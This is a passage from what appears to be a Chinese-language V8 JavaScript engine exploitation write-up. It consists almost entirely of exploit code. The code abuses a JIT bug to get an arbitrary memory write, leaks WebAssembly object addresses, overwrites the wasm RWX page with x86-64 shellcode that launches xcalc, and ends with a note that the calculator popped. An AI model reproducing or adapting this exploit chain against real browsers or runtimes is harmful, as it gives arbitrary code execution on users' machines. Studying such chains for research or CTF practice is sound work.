function triggerVul(target,data){
target.a;
this.Object.create(target);
let sign = target.${C1}.c10.c12;
target.${C1}.c10.c12 = (data);
return sign;
}
`);
for(let i = 0; i<10000; i++){
var obj = write_obj_create(target);
var sign = triggerVul(obj,data);
if(sign!=2.2){
console.log("\033[1;32m[*] target addr has been write with data: \033[0m " + f_to_i(data));
return ;
}
}
console.log("\033[1;31m[!]Failed to Write Data! \033[0m ");
}
[C1,C2] = find();
var buffer = new ArrayBuffer(0x200);
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var wasm = wasmInstance.exports.main;
wasm();
var wasm_addr = leak(wasm);
write(buffer,i_to_f(wasm_addr));
let dataview = new DataView(buffer);
shared_info = f_to_i(dataview.getFloat64(0x18-0x1,true));
console.log("\033[1;32m[*] shared info addr is leaked: \033[0m " + (shared_info));
write(buffer,i_to_f((shared_info)));
WasmFunc = f_to_i(dataview.getFloat64(0x8-0x1,true));
console.log("\033[1;32m[*] wasm Func addr is leaked: \033[0m " + (WasmFunc));
write(buffer,i_to_f(WasmFunc));
Instance = f_to_i(dataview.getFloat64(0x10-0x1,true));
console.log("\033[1;32m[*] wasm Instance addr is leaked: \033[0m " + (Instance));
write(buffer,i_to_f(Instance));
wasm_rwx = f_to_i(dataview.getFloat64(0xe8+0x8-0x1,true));
console.log("\033[1;32m[*] wasm rwx addr is leaked: \033[0m " + (wasm_rwx));
write(buffer,i_to_f(wasm_rwx));
var shellcode = [72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72, 184, 46, 121, 98,
96, 109, 98, 1, 1, 72, 49, 4, 36, 72, 184, 47, 117, 115, 114, 47, 98,
105, 110, 80, 72, 137, 231, 104, 59, 49, 1, 1, 129, 52, 36, 1, 1, 1, 1,
72, 184, 68, 73, 83, 80, 76, 65, 89, 61, 80, 49, 210, 82, 106, 8, 90,
72, 1, 226, 82, 72, 137, 226, 72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72,
184, 121, 98, 96, 109, 98, 1, 1, 1, 72, 49, 4, 36, 49, 246, 86, 106, 8,
94, 72, 1, 230, 86, 72, 137, 230, 106, 59, 88, 15, 5];
for(let i=0;i<shellcode.length;i++){
dataview.setUint8(i,shellcode[i]);
}
wasm();
//%DebugPrint(buffer);
//%DebugPrint(wasm);
//%DebugPrint(shared_info);
//%SystemBreak();
成功弹出计算器(跑起来慢的离谱,因为循环太多了,直接用%OptimizeOnNextCall
来触发应该也行,我没试):